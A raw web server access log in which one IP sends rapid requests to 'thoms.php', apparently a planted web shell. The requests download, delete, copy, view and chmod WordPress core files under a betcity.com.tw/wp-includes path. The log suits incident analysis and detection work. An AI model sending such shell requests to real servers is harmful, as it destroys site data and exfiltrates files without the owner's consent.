45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /thoms.php?dl=plugin.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /thoms.php?del=version.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=version.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /betcity.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 200 22478 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 200 17264 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?chmod=fonts&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:49 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Foption.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Foption.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 200 13633 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 200 33168 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /betcity.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fscript-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fscript-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /betcity.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?chmod=theme-templates.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 200 12138 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?del=view-config.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59426 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /betcity.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /betcity.com.tw/wp-includes/assets/ HTTP/1.1" 200 877 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:50 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?chmod=rest-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?chmod=class-phpass.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 200 15826 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?dl=class-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 12881 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 200 12414 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /betcity.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 200 12103 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:51 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?chmod=json-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?chmod=abilities-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /betcity.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?chmod=theme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /betcity.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 937 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?chmod=certificates&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 200 19824 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fatomlib.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fatomlib.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /betcity.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:52 -0400] "GET /thoms.php?del=certificates&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=certificates&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 200 14088 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /betcity.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:53 -0400] "GET /thoms.php?dl=block-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59427 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcron.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcron.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 200 61401 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 200 83014 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 200 39859 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 200 12371 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?del=feed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?del=feed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?dl=cache-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?dl=class-avif-info.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:54 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:55 -0400] "GET /thoms.php?dl=query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:55 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 200 13446 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:55 -0400] "GET /thoms.php?del=shortcodes.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:55 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:55 -0400] "GET /thoms.php?dl=author-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
